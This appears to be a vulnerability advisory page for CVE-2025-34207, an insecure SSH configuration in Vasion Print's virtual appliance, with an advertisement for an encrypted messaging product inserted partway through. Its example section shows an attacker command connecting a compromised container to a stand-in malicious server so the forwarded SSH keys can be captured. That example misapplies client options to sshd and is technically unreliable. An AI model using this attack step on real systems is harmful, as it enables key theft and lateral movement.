Overview
The vulnerability CVE-2025-34207 is a critical flaw existing in the SSH configuration of Vasion Print’s Virtual Appliance Host and Application. It affects versions of the host prior to 22.0.1049 and application versions prior to 20.0.2786. This vulnerability is crucial because it allows an attacker to compromise a container, capture forwarded private keys, and use these keys to move unrestricted across the environment. Consequently, this can lead to severe data leakage or potential system compromise.
Vulnerability Summary
CVE ID: CVE-2025-34207
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
Vasion Print Virtual Appliance Host | Prior to 22.0.1049
Vasion Print Application | Prior to 20.0.2786
How the Exploit Works
The vulnerability lies in the insecure configuration of the SSH client within Docker instances. The settings disable the verification of the remote host’s SSH key and automatically forward the developer’s SSH agent to any host that matches the configured wildcard patterns. If an attacker can reach a single compromised container, they can cause the container to connect to a malicious SSH server, capture the forwarded private keys, and use those keys for unrestricted lateral movement across the environment.
Conceptual Example Code
Here is a conceptual example of how an attacker might exploit this vulnerability. In this scenario, the attacker convinces the vulnerable Docker instance to connect to their malicious SSH server:
# Attacker's malicious SSH server
$ sshd -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -o "ForwardAgent yes"
# In the compromised Docker instance
$ ssh attacker@malicious-serverIn the above example, the attacker’s malicious SSH server is set up with the same insecure settings as the vulnerable Docker instances. When the compromised Docker instance connects to the attacker’s server, it forwards the private keys, which the attacker can then use for unrestricted lateral movement across the environment.